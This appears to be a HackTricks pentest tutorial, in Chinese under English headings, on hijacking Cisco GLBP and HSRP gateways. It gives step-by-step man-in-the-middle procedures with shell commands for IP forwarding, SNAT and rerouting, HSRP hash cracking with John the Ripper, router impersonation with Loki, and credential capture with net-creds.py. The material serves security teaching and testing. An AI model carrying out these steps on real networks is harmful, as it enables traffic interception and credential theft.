# GLBP & HSRP Attacks {{#include ../../banners/hacktricks-training.md}} ## FHRP Hijacking Overview ### Insights into FHRP FHRP旨在通过将多个路由器合并为一个虚拟单元来提供网络的鲁棒性,从而增强负载分配和容错能力。思科系统公司在这一套协议中引入了GLBP和HSRP等重要协议。 ### GLBP Protocol Insights 思科创建的GLBP在TCP/IP协议栈上运行,使用UDP在3222端口进行通信。GLBP组中的路由器每3秒交换一次“hello”数据包。如果路由器在10秒内未发送这些数据包,则被认为是离线的。然而,这些定时器并不是固定的,可以进行修改。 ### GLBP Operations and Load Distribution GLBP的特点是通过使用单个虚拟IP和多个虚拟MAC地址在路由器之间实现负载分配。在GLBP组中,每个路由器都参与数据包转发。与HSRP/VRRP不同,GLBP通过多种机制提供真正的负载均衡: - **Host-Dependent Load Balancing:** 为主机保持一致的AVF MAC地址分配,这对稳定的NAT配置至关重要。 - **Round-Robin Load Balancing:** 默认方法,在请求主机之间交替分配AVF MAC地址。 - **Weighted Round-Robin Load Balancing:** 根据预定义的“权重”指标分配负载。 ### Key Components and Terminologies in GLBP - **AVG (Active Virtual Gateway):** 主要路由器,负责将MAC地址分配给对等路由器。 - **AVF (Active Virtual Forwarder):** 指定管理网络流量的路由器。 - **GLBP Priority:** 决定AVG的指标,默认值为100,范围在1到255之间。 - **GLBP Weight:** 反映路由器的当前负载,可以手动或通过对象跟踪进行调整。 - **GLBP Virtual IP Address:** 作为所有连接设备的网络默认网关。 对于交互,GLBP使用保留的组播地址224.0.0.102和UDP端口3222。路由器每3秒发送一次“hello”数据包,如果在10秒内错过一个数据包,则被视为非操作状态。 ### GLBP Attack Mechanism 攻击者可以通过发送优先级值最高(255)的GLBP数据包成为主路由器。这可能导致DoS或MITM攻击,从而允许流量拦截或重定向。 ### Executing a GLBP Attack with Loki [Loki](https://github.com/raizo62/loki_on_kali)可以通过注入优先级和权重设置为255的数据包来执行GLBP攻击。攻击前的步骤包括使用Wireshark等工具收集虚拟IP地址、身份验证存在性和路由器优先级值等信息。 攻击步骤: 1. 切换到混杂模式并启用IP转发。 2. 确定目标路由器并获取其IP。 3. 生成一个无偿ARP。 4. 注入一个恶意GLBP数据包,冒充AVG。 5. 为攻击者的网络接口分配一个次要IP地址,镜像GLBP虚拟IP。 6. 实施SNAT以实现完整的流量可见性。 7. 调整路由以确保通过原始AVG路由器继续访问互联网。 通过遵循这些步骤,攻击者将自己定位为“中间人”,能够拦截和分析网络流量,包括未加密或敏感数据。 为了演示,以下是所需的命令片段: ```bash # Enable promiscuous mode and IP forwarding sudo ip link set eth0 promisc on sudo sysctl -w net.ipv4.ip_forward=1 # Configure secondary IP and SNAT sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE # Adjust routing sudo route del default sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 ``` 监控和拦截流量可以使用 net-creds.py 或类似工具来捕获和分析流经被攻陷网络的数据。 ### HSRP 劫持的被动解释与命令细节 #### HSRP(热备份路由器/冗余协议)概述 HSRP 是一种思科专有协议,旨在实现网络网关冗余。它允许将多个物理路由器配置为一个共享 IP 地址的单一逻辑单元。该逻辑单元由一个主要路由器管理,负责流量的引导。与使用优先级和权重进行负载均衡的 GLBP 不同,HSRP 依赖于单个活动路由器进行流量管理。 #### HSRP 中的角色和术语 - **HSRP 活动路由器**:作为网关的设备,管理流量流动。 - **HSRP 备用路由器**:准备接管活动路由器故障时的备份路由器。 - **HSRP 组**:一组路由器协作形成一个单一的弹性虚拟路由器。 - **HSRP MAC 地址**:在 HSRP 设置中分配给逻辑路由器的虚拟 MAC 地址。 - **HSRP 虚拟 IP 地址**:HSRP 组的虚拟 IP 地址,作为连接设备的默认网关。 #### HSRP 版本 HSRP 有两个版本,HSRPv1 和 HSRPv2,主要在组容量、多播 IP 使用和虚拟 MAC 地址结构上有所不同。该协议利用特定的多播 IP 地址进行服务信息交换,每 3 秒发送一次 Hello 数据包。如果在 10 秒内未收到数据包,则假定路由器处于非活动状态。 #### HSRP 攻击机制 HSRP 攻击涉及通过注入最大优先级值强行接管活动路由器的角色。这可能导致中间人(MITM)攻击。攻击前的基本步骤包括收集有关 HSRP 设置的数据,可以使用 Wireshark 进行流量分析。 #### 绕过 HSRP 身份验证的步骤 1. 将包含 HSRP 数据的网络流量保存为 .pcap 文件。 ```shell tcpdump -w hsrp_traffic.pcap ``` 2. 使用 hsrp2john.py 从 .pcap 文件中提取 MD5 哈希。 ```shell python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes ``` 3. 使用 John the Ripper 破解 MD5 哈希。 ```shell john --wordlist=mywordlist.txt hsrp_hashes ``` **使用 Loki 执行 HSRP 注入** 1. 启动 Loki 以识别 HSRP 广告。 2. 将网络接口设置为混杂模式并启用 IP 转发。 ```shell sudo ip link set eth0 promisc on sudo sysctl -w net.ipv4.ip_forward=1 ``` 3. 使用 Loki 针对特定路由器,输入破解的 HSRP 密码,并执行必要的配置以冒充活动路由器。 4. 在获得活动路由器角色后,配置您的网络接口和 IP 表以拦截合法流量。 ```shell sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE ``` 5. 修改路由表以通过前活动路由器路由流量。 ```shell sudo route del default sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 ``` 6. 使用 net-creds.py 或类似工具从拦截的流量中捕获凭据。 ```shell sudo python2 net-creds.py -i eth0 ``` 执行这些步骤使攻击者能够拦截和操纵流量,类似于 GLBP 劫持的过程。这突显了 HSRP 等冗余协议的脆弱性以及对强大安全措施的需求。 ## 参考文献 - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) {{#include ../../banners/hacktricks-training.md}}